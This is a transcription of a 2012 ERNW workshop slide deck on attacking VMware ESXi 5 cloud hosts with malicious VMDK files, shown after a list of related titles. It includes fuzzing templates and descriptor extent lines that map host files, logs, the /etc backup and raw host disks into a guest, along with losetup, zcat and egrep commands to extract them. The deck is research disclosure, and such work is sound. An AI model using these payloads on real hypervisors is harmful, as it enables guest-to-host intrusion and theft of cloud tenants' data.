VMDK Has Left the Building



Similar documents
From Hypervisors to Clouds

ESX System Analyzer Version 1.0 Installation Guide

VMware vsphere-6.0 Administration Training

BLACK BOX. Quick Start Guide. Virtual Central Management System (VCMS) Works with LES Series Console Servers. LES-VCMS. Customer Support Information

Enterprise Cloud VM Image Import User Guide. Version 1.0

Compromise-as-a-Service

JOB ORIENTED VMWARE TRAINING INSTITUTE IN CHENNAI

Drobo How-To Guide. Cloud Storage Using Amazon Storage Gateway with Drobo iscsi SAN

Oracle VM Server Recovery Guide. Version 8.2

How To Image A Single Vm For Forensic Analysis On Vmwarehouse.Com

So happy to be here! Paparazzi over IP. Daniel Mende & Pascal Turbing {dmende pturbing}@ernw.de.

PassTest. Bessere Qualität, bessere Dienstleistungen!

Acronis Backup & Recovery 10 Advanced Server Virtual Edition. Quick Start Guide

VMware Data Recovery. Administrator's Guide EN

Installing and Administering VMware vsphere Update Manager

VMware vsphere 5.0 Boot Camp

Reader s Choice Preferred product

Top 10 Do s/don ts of Data Protection for VMware vsphere

Cookbook Backup, Recovery, Archival (BURA)

VMware vsphere VMFS-5 Upgrade Considerations

VMware vsphere 5.1 Advanced Administration

Virtual Server Agent v9 with VMware. March 2011

Protecting Virtual Endpoints with McAfee Server Security Suite Essentials

Getting Started with OpenStack and VMware vsphere TECHNICAL MARKETING DOCUMENTATION V 0.1/DECEMBER 2013

vsphere Data Protection 6.0 VDP 6.0

TECHNICAL PAPER. Veeam Backup & Replication with Nimble Storage

VMware vsphere: Install, Configure, Manage [V5.0]

SAN Implementation Course SANIW; 3 Days, Instructor-led

In order to upload a VM you need to have a VM image in one of the following formats:

Design Implement Troubleshoot. VMware Virtualisation Strategies Private/Public/Hybrid Cloud Computing.

Onboarding VMs to Cisco OpenStack Private Cloud

VMware for Bosch VMS. en Software Manual

13.1 Backup virtual machines running on VMware ESXi / ESX Server

ESX 4 Patch Management Guide ESX 4.0

Veeam Backup & Replication. Version 7.0

Table of Contents. Online backup Manager User s Guide

Cedric Rajendran VMware, Inc. Security Hardening vsphere 5.5

Directions for VMware Ready Testing for Application Software

Vmware Training. Introduction

Optimization, Business Continuity & Disaster Recovery in Virtual Environments. Darius Spaičys, Partner Business manager Baltic s

How To Use Netbackup (Vmware) On A Virtual Machine

Migrating to ESXi: How To

VMware ESXi in a Cloud-based Lab David Davis, VCP, VCAP, and vexpert

ClearPass Policy Manager 6.3

Is VMware Data Recovery the replacement for VMware Consolidated Backup (VCB)? VMware Data Recovery is not the replacement product for VCB.

Barracuda Backup Vx. Virtual Appliance Deployment. White Paper

[VADP OVERVIEW FOR NETBACKUP]

Web Application Firewall

Enterprise. ESXi in the. VMware ESX and. Planning Deployment of. Virtualization Servers. Edward L. Haletky

Using SUSE Cloud to Orchestrate Multiple Hypervisors and Storage at ADP

Thinspace deskcloud. Quick Start Guide

Bosch Video Management System High availability with VMware

Data recovery Data management Electronic Evidence

Capability VMware Hyper-V

Supply Chain (In-) Security

Khóa học dành cho các kỹ sư hệ thống, quản trị hệ thống, kỹ sư vận hành cho các hệ thống ảo hóa ESXi, ESX và vcenter Server

StarWind iscsi SAN Software Hands- On Review

Virtualization. Michael Tsai 2015/06/08

How to Backup and Restore a VM using Veeam

Vembu VMBackup v3.1.0 BETA

Backup of ESXi Virtual Machines using Affa

Virtual Volumes Technical Deep Dive

VMware vsphere Design. 2nd Edition

FortiAnalyzer VM (VMware) Install Guide

Evaluating the Balabit Shell Control Box

Virtual Computing and VMWare. Module 4

Why is a good idea to use OpenNebula in your VMware Infrastructure?

EMC Data Domain Management Center

CA ARCserve Backup for Windows

VMWARE COURSE OUTLINE. Revision 1.0 Prepared by: See CY

HP + Veeam: Fast VMware Recovery from SAN Snapshots

vsphere & Hypervisor Editions

TSM for Virtual Environments Data Protection for VMware

Virtual Appliance Setup Guide

TABLE OF CONTENTS. Administration Guide - Virtual Server idataagent (VMware) Page 1 of 176 OVERVIEW

VM-Series Firewall Deployment Tech Note PAN-OS 5.0

VMware ESXi 3.5 update 2

Install Guide for JunosV Wireless LAN Controller

EXPLORING LINUX KERNEL: THE EASY WAY!

VMWARE VSPHERE 5.0 WITH ESXI AND VCENTER

VMware Data Recovery. Product Overview

Virtual Appliance Setup Guide

Virtual Storage Console 4.0 for VMware vsphere Installation and Administration Guide

BrightStor ARCserve Backup. Best Practices Guide for VMware ESX Server Backup

NetApp OnCommand Plug-in for VMware Backup and Recovery Administration Guide. For Use with Host Package 1.0

VMware vsphere Data Protection 6.0

How to install software on VMware ESXi 4.0/4.1

Monitoring Databases on VMware

The Incremental Advantage:

Virtually Pwned Pentesting VMware. Claudio

The Architecture of VMware ESXi WHITE PAPER

Forklifting to AWS: An Option for Migration to AWS October Forklifting to AWS: An Option for Migration to AWS

VMware vcenter Log Insight Getting Started Guide

Setup for Failover Clustering and Microsoft Cluster Service

Unified Storage for the Private Cloud Dennis Chapman NetApp

Installing and Using the vnios Trial

Peter Waterman Senior Manager of Technology and Innovation, Managed Hosting Blackboard Inc

Transcription:

VMDK Has Left the Building Attacking Cloud Infrastructures by Malicious VMDK Files Matthias Luft, Daniel Mende, Enno Rey, Pascal Turbing {mluft,dmende,erey,pturbing}@ernw.de

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #2# Who we are Old-school network geeks, working as security researchers for Germany based ERNW GmbH Independent Deep technical knowledge Structured (assessment) approach Business reasonable recommendations We understand corporate Blog: www.insinuator.net Conference: www.troopers.de

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #3# Agenda Intro & Technical Overview Attack Vectors Conclusions

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #4# How to Attack a (IaaS) Cloud Service? Management APIs / Interfaces Or: Which Interfaces Does it Offer? http://www.nds.rub.de/media/nds/ veroeffentlichungen/2011/10/22/ AmazonSignatureWrapping.pdf http://www.insinuator.net/2011/07/the-key-to-yourdatacenter/ From the runtime environment Think: Guest! host attack E.g. look at all the nice attack vectors in VMSA-2012-0009... with that ridiculous recommendation Do not allow untrusted users access to your virtual machines. ;-) On the filesystem level, e.g. by (virtual) image/ hard disk upload.

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #5# This Is What This Workshop Is About Attacking Virtual Hard Disks With a special focus on VMDK files. In particular in VMware vsphere 5 environments. There s a breeze of 0-day here ;-)

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #6# Virtual File Formats Short Overview There s a whole bunch of virtual file formats Relevant Fact: Distinction in Virtual machine configuration Virtual disk files

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #7# Common Files in VMware World At least the most important ones as for this talk. VMX: virtual machine Plain-text configuration/description #!/opt/vmware/server/bin/vmware.encoding = "UTF-8" config.version = "8" virtualhw.version = "4" scsi0.present = "TRUE" memsize = "1512"

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #8# Common Files in VMware World At least the most important ones as for this talk. VMDK: virtual disk, consisting of two file types: Descriptor file: # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 [ ] # Extent description RW 33554432 VMFS "machine-flat01.vmdk The actual disk files containing raw disk data (MBR, partition table, file system, content...)

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #9# Cloud Deployment Kudos to Juan Mayer

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #10# How Cloud Deployment Works ESXi 5 Host Backend Storage (e.g. SAN) 1) Upload to storage by web interface, FTP, Hypervisor Hypervisor Local HD

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #11# How Cloud Deployment Works ESXi 5 Host Backend Storage (e.g. SAN) Hypervisor 2) Copy to Host Hypervisor Local HD

How Cloud Deployment Works ESXi 5 Host Backend Storage (e.g. SAN) Hypervisor Hypervisor Local HD 5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg 3) Cloud Magic! #12#

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #13# Sample of Cloud Providers Allowing to Upload VMDKs! We ve not performed any practical testing. Yet. Provider Upload via Upload Validation Further Details & How To s terremark.com Web-Tool Ovf validation, vmdk validation information in ov http://support.theenterprisecloud.com/kb/ default.asp?id=971&lang=1 lunahost.com Web-Tool Not specified http://www.lunahost.com/resources/ FAQsandHowTos.aspx Cloudshare.com Ftp-client Ovf validation recommended but not required Hosting.com Online FTP manager None http://use.cloudshare.com/resources/ common/vm%20_upload_instructions.pdf http://www.hosting.com/support/cloudenterprise/upload-vmdk-and-deploy-vmfrom-control-panel

Lab Setup c) Start VM via SSH/CLI b) Start VM via API Copy#malicious#VM#to# backend#storage# a) Start VM via vcenter Fully patched environment as of 05/24/2012. 5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #14#

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #15# Let s Start Playing Potential Attack Paths Fuzzing File Inclusion Stuff

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #16# VMDK Fuzzing

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #17# Disk metadata Textbased harddrive description file. # Disk DescriptorFile version=1 encoding="utf-8" Links to real data files (extents). # Extent description RW 40960 VMFS "ts_2vmdk-flat.vmdk Also holds disk physical dimensions. ddb.geometry.cylinders = "40" ddb.geometry.heads = "16"

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #18# vmdk file fuzzing name = "vmdkfile" objects = [ field("version_str", None, "version=", none), field("version", None, "1", std), field("version_br", None, "\n", none), [...] field("encoding_str", None, "encoding=", none), field("encoding", None, '"UTF-8"', std), field("encoding_br", None, "\n", none), field("cid_str", None, "CID=", none), field("cid", None, "c74bb4e1", std), field("cid_br", None, "\n", none), field("pcid_str", None, "parentcid=", none), field("pcid", None, "ffffffff", std), field("pcid_br", None, "\n", none),

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #19# Results From the logs: DiskLib_Check() failed for source disk (15) VMX has left the building: 0

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #20# The Beef Yummy Data Different Binary data formats Flat files Growing files Sparse files Flat files got no header, they re just virtual disks plain data. Growing and sparse files got a header structure, which makes an excellent target.

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #21# Sparse Extent Header Fuzzing name = "ESXi Host Sparse Extend Header - root" objects = [ field("magicnumber", 32, "COWD", none), field("version", 32, "\x00\x00\x00\x01", std), field("flags", 32, "\x00\x00\x00\x03", std), field("numsectors", 32, "\x00\x00\x00\xff", std), field("grainsize", 32, "\x00\x00\x00\x01", std), field("gdoffset", 32, "\x00\x00\x00\x04", std), field("numgdentries", 32, "\x00\x00\x00\x04", std), field("freesector", 32, "\x00\x00\x00\x08", std), #root [...]

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #22# Some Code Will be found on www.insinuator.net soon.

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #23# File Inclusion

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #24# File Inclusion Back to that Descriptor File # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 parentcid=ffffffff isnativesnapshot="no" createtype="vmfs" # Extent description RW 33554432 VMFS "machine-flat01.vmdk

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #25# File Inclusion Back to that Descriptor File # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 parentcid=ffffffff isnativesnapshot="no" createtype="vmfs" # Extent description RW 33554432 VMFS "machine-flat01.vmdk RW 0 VMFS /etc/passwd

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #26# Inclusion First Try The classic: /etc/passwd RW 33554432 VMFS "machine-flat01.vmdk RW 0 VMFS "/etc/passwd Didn t work ;-)

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #27# Inclusion First Try

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #28# First Blood Logfile Inclusion

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #29# Inclusion of Logs Extend your disk by any gzipped logfile in /scratch/log # Extent description RW 33554432 VMFS "machine-flat.vmdk RW 0 VMFS "/scratch/log/vmkernel.0.gz"

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #30# Inclusion of Logs Boot up the virtual machine Define the included section of your hard drive $ losetup o $( 33554432 * 512 ) f /dev/sda Extract data $ zcat /dev/loop0 > extracted_logfile

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #31# Demo? Yes, please. # DEMO%

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #32# File Inclusion Just to Make this Clear This is a GUEST machine accessing the logfiles of the ESX HOST!

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #33# File Inclusion Part 2 Logs are a nice first step! Let s go through some more log files...

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #34# Interesting log file /bootbank/state.tgz # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 [ ] # Extent description RW 33554432 VMFS "machine-flat01.vmdk RW 0 VMFS /bootbank/state.tgz! Contains complete backup of /etc!

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #35# File Inclusion Just to Make this Clear This is a GUEST machine accessing /etc/ of the ESX HOST!

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #36# File Inclusion Part 3 Logfiles, /etc... on the right way. What else can we do? Hard drives/devices in *nix are files, right?! Try to include physical host disks in a guest machine!

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #37# Device Inclusion Part 3 Device names on ESXi

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #38# Device Inclusion Part 3 Relying on knowledge gathered on the hypervisor! # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 [ ] # Extent description RW 33554432 VMFS "machine-flat01.vmdk RW 8386560 VMFSRAW "/dev/disks/naa. 600508b1001ca97740cc02561658c136:2"

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #39# Device Inclusion Include a partition of an enumerated device as follows: # Extent description RW 33554432 VMFS machine-flat.vmdk RW 8386560 VMFSRAW "/dev/disks/naa.600508b1001ca97740cc02561658c136:2 The :2 indicates the partition number, e.g. similar to /dev/sda2 in linux

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #40# Device Inclusion Once you made your loop device with the appropriate offset, your are actually able to mount the partition root@attx:~# losetup -v -o 17179869184 -f /dev/sda Loop device is /dev/loop0 root@attx:~# mount /dev/loop0 /mnt/ root@attx:~# ls /mnt/ core downloads log var

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #41# Demo? Yes, please. # DEMO%

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #42# Device Inclusion Just to Make this Clear This is a GUEST machine accessing a physical harddrive of the ESX HOST!

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #43# Complete Attack Path In Cloud Environments

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #44# Prerequisites For Complete Attack Path Files must be on vmfs partition must be writable (for hostd?) must be unlocked, e.g. not reserved by running Vmware ESXi5 hypervisor in use Deployment of externally provided VMDK files is possible Deployment using the VMware API without further sanitization/input validation/vmdk rewriting.

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #45# Attack Path Deploy a virtual machine referencing /scratch/log/hostd.0.gz Access the included /scratch/log/ hostd.0.gz within the guest system and grep for ESXi5 device names Deploy another virtual machine referencing the extracted device names! Enjoy access to all physical hard drives of the hypervisor ;-)

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #46# Attack Path Deploy a virtual machine referencing /scratch/log/hostd.0.gz Access the included /scratch/log/ hostd.0.gz within the guest system and grep for ESXi5 device names Deploy another virtual machine referencing the extracted device names! Enjoy access to all physical hard drives of the hypervisor ;-)

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #47# Device Enumeration By iterating through logfiles like filename.x.gz one may collect a huge amount of information Looking for Devicenames: $ egrep -o "\w{3,}\.[0-9a-f]{32} deviceenum/hostd.log sort uniq naa.600508b1001ca97740cc02561658c136 naa.600c0ff000109e5b0000000000000000 naa.600c0ff000109e5b52d3104f01000000 naa.600c0ff000109e5b8ee84d4f01000000 naa.600c0ff000109e5b968c4f4f01000000 naa.600c0ff000134edc0000000000000000

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #48# Device Inclusion Just to Make this Clear This is a GUEST machine accessing physical harddrive of the ESX HOST without additional knowledge!

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #49# There s even more stuff Coming Soon To A Cloud Near You... Hypervisor Denial of Service? Not to be discussed in this workshop due to time constraints.

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #50# But It s Certainly Doable ;-)

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #51# Conclusions Virtual hard disk integration offers yet-another-interface for attack exposure. In particular in Vmware vsphere 5 space. Appropriate trust relationships and/or careful sanitizing needed.

5/25/2012 ERNW GmbH Carl-Bosch-Str. 4 D-69115 Heidelberg #52# There s never enough time THANK%YOU %...for%yours!%